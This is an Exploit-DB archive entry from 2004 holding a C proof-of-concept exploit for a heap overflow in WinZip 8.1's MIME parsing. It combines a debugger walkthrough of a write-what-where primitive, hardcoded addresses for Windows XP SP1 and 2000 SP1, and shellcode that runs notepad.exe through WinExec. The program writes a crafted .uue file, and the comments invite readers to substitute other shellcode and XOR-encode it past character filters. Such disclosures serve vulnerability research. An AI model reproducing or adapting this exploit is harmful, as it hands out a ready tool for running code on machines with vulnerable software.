WinZip - MIME Parsing Overflow

EDB-ID:

272


Author:

snooq

Type:

local


Platform:

Windows

Date:

2004-04-15


/*
 *  Author: snooq       
 *  Date: 14 April 2004  
 *
 *  This is a PoC exploit for WinZip32 MIME Parsing Overflow
 *  bug reported by iDefense on 27 February 2004.
 *
 *  The original advisory is found here:
 *  http://www.idefense.com/application/poi/display?id=76
 *
 *  This version is SP dependent becoz my idiotic shellcode
 *  uses hardcoded addresses.... =p 
 *  
 *  So, test it locally only. Afterall, it's just a PoC rite?
 *  Nonetheless, it's possible to make it more portable by 
 *  using a universal shellcode... 
 *
 *  but beware... chars like <>,.:;'"=[]\/ are filtered...
 *  so feel free to XOR it.. =p
 *
 *  Notes
 *  =====
 *  1) Tested against WinZip 8.1 on WinXP SP1, Win2K SP1 only
 *
 *  2) You need to first launch WinZip before you 'Open'
 *
 *  3) Double clicking the 'uue' won't work 
 *     why so? go figure it out urself... =p 
 *     once u know why... u'd then know how to fix it...
 *
 *  Greetz
 *  ======
 *  # eugene, nam, jf, valmont and the rest..
 *  # sk, shashank + Security_Auditors folks...
 *  # iDefense folks... SiG^2 guys etc...
 *  # lastly.. Greg Hoglund for his 'Cross Page' stuffs... =p
 */

/*
 *  A snapshot of the 'crash'
 *  =========================
 *
 *  Our buffer on the heap looks like this:
 *  
 *  [....AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEEEEEEEEEEEEEEE....]
 *  |--- heap grows this way --------->
 *
 *   
 *  and the CPU is about to execute the following code:
 *
 *  0049BFFC  |> 8B4C13 08      MOV ECX,DWORD PTR DS:[EBX+EDX+8]
 *  0049C000  |. 8B7C13 04      MOV EDI,DWORD PTR DS:[EBX+EDX+4]
 *  0049C004  |. 8979 04        MOV DWORD PTR DS:[ECX+4],EDI
 *  0049C007  |. 8B4C13 04      MOV ECX,DWORD PTR DS:[EBX+EDX+4]
 *  0049C00B  |. 8B7C13 08      MOV EDI,DWORD PTR DS:[EBX+EDX+8]
 *  0049C00F  |. 035D F8        ADD EBX,DWORD PTR SS:[EBP-8]
 *  0049C012  |. 8979 08        MOV DWORD PTR DS:[ECX+8],EDI
 *  0049C015  |. 895D F4        MOV DWORD PTR SS:[EBP-C],EBX
 *
 *  and, EBX register seems to be under our control... =p
 *
 *  EDX = ptr to 'DDDD'	
 *  EBX = 'DDDD' - 1		
 *
 *  By carefully choosing a value for EBX, we are able to manipulate
 *  ECX at 0049BFFC and EDI at 0049C000.
 *
 *  If we set 'DDDD'=0xfffffff5 (-11), 
 *  
 *  -> EBX would be '0xfffffff4' (-12)
 *  -> [EBX+EDX+8] becomes [EDX-4] and ECX = 'CCCC'
 *  -> [EBX+EDX+4] becomes [EDX-8] and EDI = 'BBBB'
 *
 *  Effectively at 0049C004, we can write a DWORD 'BBBB' to ['CCCC'+4]
 *  After that.....
 *
 *  -> [EBX+EDX+4] becomes [EDX-8] and ECX = 'BBBB'
 *  -> [EBX+EDX+8] becomes [EDX-4] and EDI = 'CCCC' 
 *  
 *  Finally we reach MOV DWORD PTR DS:['BBBB'+8],'CCCC' at 0049C012..
 *
 *  Choosing the rite values for 'BBBB' + 'CCCC', execution flow could
 *  be reliably diverted into our shellcode.
 *
 *  In this exploit, I've chosen to install our code as the main thread's
 *  top exception handler so that when exception is triggered at 0049C012,
 *  our code will be called to 'handle' it... =p
 *
 *  This is how I did it but I'm not sure if this is the best way.
 *  If you know of any other better way to exploit this.....
 *  pleaseeeeee tell me....... :)
 *
 */

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

#define TARGET	1
#define NOP	0x90

/*
 * Gap for NOPs (not really needed)
 */
#define PAD	0		

/*
 * This 'RANGE' nonsense was useful
 * in locating the 'index', i.e. 'DDDD'
 */
#define RANGE	1*4		

/*
 * Where we control the 'index',
 * i.e EBX register's value
 */
#define IDXOFF	268-RANGE+4 

/*
 * We find our 'where' + 'what' here...
 */
#define OFFSET	IDXOFF-8	

/*
 * -12 bytes from 'index' into where
 * 'where'+'what' are...
 */
#define INDEX	0xfffffff5	 

#define BSIZE	1024
#define FNAME	"snooq.uue"
#define SSIZE	sizeof(shellcode)-1
#define HSIZE	sizeof(header)-1

char buff[BSIZE];
long where, what;

struct {
	char *os;
	long topSEH;
	long jmpADD;
}

targets[] = {
	{
		"Window XP (en) SP1",
		0x7ffddffe,	// Per Thread Top SEH - 2
		0xf27cffff  // [this address + 4] -> shellcode
	},
	{
		"Window 2000 (en) SP1",
		0x7ffddffe,	// Per Thread Top SEH - 2
		0xf354ffff  // [this address + 4] -> shellcode
	},
}, v;

/*
 * Harmless payload that spawns 'notepad.exe'... =p
 */

char shellcode[]=
	"\x55"					// push ebp 
	"\x8b\xec"				// mov ebp, esp
	"\x33\xf6"				// xor esi, esi
	"\x56"					// push esi
	"\x68\x2e\x65\x78\x65"	// push 'exe.'
	"\x68\x65\x70\x61\x64"	// push 'dape'
	"\x68\x90\x6e\x6f\x74"	// push 'ton'
	"\x46"					// inc esi		
	"\x56"					// push esi
	"\x8d\x7d\xf1"			// lea edi, [ebp-0xf]	
	"\x57"					// push edi		
	"\xb8XXXX"				// mov eax, XXXX -> WinExec()  
	"\xff\xd0"				// call eax
	"\x4e"					// dec esi
	"\x56"					// push esi
	"\xb8YYYY"				// mov eax, YYYY -> ExitProcess()  
	"\xff\xd0";				// call eax

char header[]="Content-Type: multipart/mixed; boundary=";

void err_exit(char *s)
{
	printf("%s\n",s);
	exit(0);
}

void filladdr()
{
	char *ptr;
	int i=0, index=INDEX, idxoff=IDXOFF;

	long addr1=(long)WinExec;
	long addr2=(long)ExitProcess;

	printf("-> WinExec() is at: 0x%08x\n",addr1);
	printf("-> ExitProcess() is at: 0x%08x\n",addr2);

	ptr=shellcode;

	while (*ptr!='\0') {
		if (*((long *)ptr)==0x58585858) {
			printf("-> Filling in WinExec at offset: %d\n",(ptr-shellcode));
			*((long *)ptr)=addr1;
		}
		if (*((long *)ptr)==0x59595959) {
			printf("-> Filling in ExitProcess at offset: %d\n",(ptr-shellcode));
			*((long *)ptr)=addr2;
		}
		ptr++;
	}

	ptr=buff+HSIZE+OFFSET;
	printf("-> 'what' == 0x%08x at offset %d\n",what,OFFSET);
	*((long *)ptr)=what;

	ptr+=4;
	printf("-> 'where' == 0x%08x at offset %d\n",where,OFFSET+4);
	*((long *)ptr)=where-4;

	ptr=buff+HSIZE+idxoff;

	for (;i<RANGE;i+=4) {
		printf("-> 'index' == 0x%08x at offset %d\n",index-i,idxoff+i);
		*((long *)(ptr+i))=index-i;
	}

}

void buildfile() 
{
	int i=0;

	FILE *fd;

	if ((fd=fopen(FNAME,"w"))==NULL) {
		err_exit("-> Failed to generate file...");
	}

	for(;i<sizeof(buff);) {
		fprintf(fd,"%c",buff[i++]);
	}

	fclose(fd);

	printf("-> '%s' generated....\n",FNAME);

}

int main(int argc, char *argv[]) 
{
	int i=0, t=TARGET;

	if (argc==2) { t=atoi(argv[1]); }

	where=targets[t-1].topSEH;
	what=targets[t-1].jmpADD;

	printf("\nWinZip32 MIME Parsing Overflow PoC, By Snooq [jinyean@hotmail.com]\n\n");

	memset(buff,NOP,BSIZE);
	printf("-> Generating 'uue' file for target #%d...\n",t);
	memcpy(buff,header,HSIZE);
	filladdr();
	memcpy(buff+HSIZE+IDXOFF+4+PAD,shellcode,SSIZE);
	buildfile();

	return 0;

}


// milw0rm.com [2004-04-15]